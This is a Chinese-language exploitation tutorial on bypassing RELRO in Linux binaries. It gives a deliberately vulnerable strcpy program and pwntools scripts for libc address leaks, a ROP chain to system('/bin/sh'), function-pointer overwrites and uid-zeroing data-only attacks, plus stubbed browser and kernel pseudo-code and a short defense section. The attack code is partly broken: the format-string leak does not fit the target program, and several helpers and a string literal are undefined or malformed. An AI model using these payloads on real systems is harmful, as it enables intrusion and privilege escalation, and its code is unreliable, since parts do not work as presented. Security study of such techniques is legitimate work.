RELRO绕过教程：在只读内存中寻找可写之门

前言：当系统锁上所有后门时

本文章仅提供学习，切勿将其用于不法手段！

想象一座城堡，城主为了安全锁上了所有已知的后门和密道（RELRO保护）。但聪明的入侵者知道，真正的安全不是锁上门，而是确保没有人在不该开门的时候开门。RELRO（Relocation Read-Only）就是这样一种机制 - 它试图通过将关键内存区域设为只读来防止攻击，但总有方法找到那些忘记上锁或者可以重新上锁的门。

第一部分：RELRO机制深度解析

1.1 什么是RELRO？

RELRO是一种安全机制，主要目的是防止修改ELF文件的全局偏移表（GOT）和过程链接表（PLT）​。

没有RELRO时：
GOT表: 可读可写 ← 攻击者可以修改函数指针
PLT表: 可读可执行

有RELRO时：
GOT表: 只读 ← 无法直接修改函数指针
PLT表: 只读可执行

1.2 RELRO的两种模式

​Partial RELRO​：

• GOT表在初始化后设为只读
• 部分保护，仍然有攻击窗口

​Full RELRO​：

• GOT表在程序启动前就完全初始化并设为只读
• 更强的保护，但启动时间稍长

1.3 为什么RELRO有效？

RELRO有效的核心是阻止了常见的GOT覆盖攻击：

• 不能再将printf@got改为system地址
• 不能再劫持库函数调用
• 迫使攻击者使用更复杂的技术

第二部分：RELRO绕过技术实战

2.1 环境准备

创建测试程序：

// relro_vuln.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

void vulnerable_function(char *input) {
    char buffer[64];
    strcpy(buffer, input); // 栈溢出漏洞
}

int main(int argc, char *argv[]) {
    if (argc > 1) {
        vulnerable_function(argv[1]);
    }
    return 0;
}

编译开启Full RELRO：

gcc -o relro_vuln -fstack-protector -z now relro_vuln.c

检查保护情况：

checksec --file=relro_vuln

2.2 信息泄漏技术

即使有RELRO，我们仍然可以泄漏信息：

#!/usr/bin/env python3
from pwn import *

context(arch='amd64', os='linux')

def leak_info():
    p = process('./relro_vuln')
    
    # 使用格式化字符串泄漏libc地址
    payload = b'%p%p%p%p%p%p%p%p%p'
    p.sendline(payload)
    
    response = p.recvline().decode()
    addresses = response.split('0x')[1:]  # 解析所有地址
    
    # 寻找libc地址特征
    libc_address = None
    for addr in addresses:
        if len(addr) == 12 and addr.startswith('7f'):
            libc_address = int(addr, 16)
            break
    
    return libc_address

libc_leak = leak_info()
print(f"泄漏的libc地址: 0x{libc_leak:012x}")

2.3 ROP链构造（绕过GOT修改）

当GOT不可写时，使用ROP技术：

def build_rop_chain(libc_leak):
    # 计算libc基地址和关键函数
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
    libc_base = libc_leak - 0x5fba0  # 根据泄漏点调整偏移
    system_addr = libc_base + libc.symbols['system']
    bin_sh_addr = libc_base + next(libc.search(b'/bin/sh'))
    
    # 在程序中寻找gadgets
    elf = ELF('./relro_vuln')
    pop_rdi = 0x400713  # pop rdi; ret;
    
    # 构造ROP链
    chain = [
        pop_rdi,
        bin_sh_addr,
        system_addr
    ]
    
    return chain

rop_chain = build_rop_chain(libc_leak)

2.4 利用其他可写区域

即使GOT只读，还有其他可写区域：

def find_writable_memory():
    # 分析程序的可写段
    elf = ELF('./relro_vuln')
    
    writable_sections = []
    for section in elf.sections:
        if section.name in ['.data', '.bss'] and section.flags & 2:  # 可写
            writable_sections.append(section)
    
    return writable_sections

writable_areas = find_writable_memory()
print(f"可写内存区域: {[hex(sec.header.sh_addr) for sec in writable_areas]}")

第三部分：高级绕过技术

3.1 修改函数指针链

即使GOT只读，程序中可能有其他函数指针：

// 假设程序中有这样的结构
struct Handler {
    void (*process)(char *);
    char buffer[64];
};

struct Handler *global_handler;

void vulnerable() {
    // 如果有溢出，可以覆盖global_handler->process
}

利用代码：

def hijack_function_pointer():
    # 找到全局函数指针的位置
    elf = ELF('./relro_vuln')
    global_handler_addr = elf.symbols['global_handler']
    
    # 计算system地址
    system_addr = libc_base + libc.symbols['system']
    
    # 构造payload覆盖函数指针
    payload = b'A' * offset_to_pointer
    payload += p64(system_addr)  # 覆盖process指针
    payload += b'/bin/sh\0'     # 参数
    
    return payload

3.2 利用动态加载器

def attack_dynamic_loader():
    # 动态加载器本身可能有漏洞
    # 或者可以利用加载器的可写内存
    
    # 找到ld.so的基地址
    ld_base = leak_ld_address()
    
    # 利用加载器的函数解析机制
    # 或者修改加载器内部数据结构
    exploit_loader_internals(ld_base)

3.3 数据仅执行（DOP）攻击

def data_only_attack():
    # 不修改代码，只操作数据
    # 例如：修改身份验证标志、权限数据等
    
    # 找到关键数据结构的偏移
    uid_addr = find_uid_variable()
    gid_addr = find_gid_variable()
    
    # 通过溢出修改这些值
    payload = b'A' * offset_to_data
    payload += p32(0)  # 将uid改为0 (root)
    payload += p32(0)  # 将gid改为0
    
    return payload

第四部分：现实世界应用

4.1 浏览器中的RELRO绕过

现代浏览器有严格的RELRO保护：

function browser_relro_bypass() {
    // 1. 使用JIT编译创建可执行内存
    let jit_code = create_jit_memory();
    
    // 2. 通过类型混淆泄漏地址
    let libc_base = leak_via_type_confusion();
    
    // 3. 构造ROP链或重用gadgets
    let rop_chain = build_browser_rop(libc_base);
    
    // 4. 利用浏览器内部的可写区域
    hijack_browser_internals();
}

4.2 内核RELRO绕过

内核空间也有类似的保护机制：

void kernel_relro_bypass() {
    // 1. 泄漏内核文本地址
    uint64_t ktext_base = leak_kernel_text();
    
    // 2. 找到可写的内核数据区域
    uint64_t writable_data = find_kernel_data();
    
    // 3. 利用内核ROP或修改关键数据
    if (writable_data) {
        modify_kernel_data(writable_data);
    } else {
        use_kernel_rop(ktext_base);
    }
}

第五部分：防御与深度思考

5.1 为什么RELRO能被绕过？

1. ​其他可写区域存在​：总有其他内存区域可写
2. ​代码重用攻击​：ROP等技术不需要修改GOT
3. ​数据攻击​：修改关键数据而不是代码指针
4. ​侧信道漏洞​：通过其他方式影响程序行为

5.2 增强防护措施

// 技术1：更严格的内存权限
// 使用mprotect加强保护

// 技术2：控制流完整性
// 使用硬件辅助的CFI

// 技术3：随机化内存布局
// 增强ASLR随机性

// 技术4：运行时检查
// 监控关键内存区域的修改尝试

// 技术5：形式化验证
// 使用验证过的安全组件

5.3 安全开发实践

// 1. 最小权限原则
// 2. 输入验证和净化
// 3. 使用内存安全语言
// 4. 定期安全审计
// 5. 深度防御策略

// 代码示例：安全的内存操作
void safe_copy(char *dest, const char *src, size_t size) {
    if (strlen(src) >= size) {
        // 处理错误，不要继续复制
        handle_error("输入过长");
        return;
    }
    strncpy(dest, src, size - 1);
    dest[size - 1] = '\0'; // 确保终止
}

第六部分：哲学思考与技术未来

6.1 RELRO机制的启示

1. ​安全是相对概念​：没有绝对的安全，只有更高的攻击成本
2. ​防御需要多层次​：单一防护机制容易被绕过
3. ​攻击面转移​：封堵一个漏洞会催生新的攻击技术
4. ​持续演进必要​：安全需要持续改进和适应

6.2 未来发展趋势

def future_of_memory_protection():
    trends = [
        "硬件辅助的安全特性 (Intel CET, ARM MTE)",
        "形式化验证的完整系统",
        "机器学习驱动的异常检测",
       全内存安全语言生态系统",
        "量子安全加密和随机化"
    ]
    
    return "硬件软件协同的全面安全"

结语：理解限制，创造可能

RELRO绕过技术告诉我们，即使是最严格的保护机制也有其局限性。真正的安全专家不是那些能够绕过所有保护的人，而是那些能够设计出让绕过变得极其困难且成本高昂的系统的人。

​深度思考​：如果未来所有软件都采用形式化验证和硬件安全特性，传统的漏洞利用会完全消失吗？新的安全挑战会是什么？

记住：技术能力应该用于建设和保护，而不是破坏和攻击。最好的安全专家是那些能够预见攻击并提前防御的人。

---

免责声明：本文所有技术内容仅用于教育目的和安全研究。未经授权的系统访问是违法行为。请始终在合法授权范围内进行安全测试。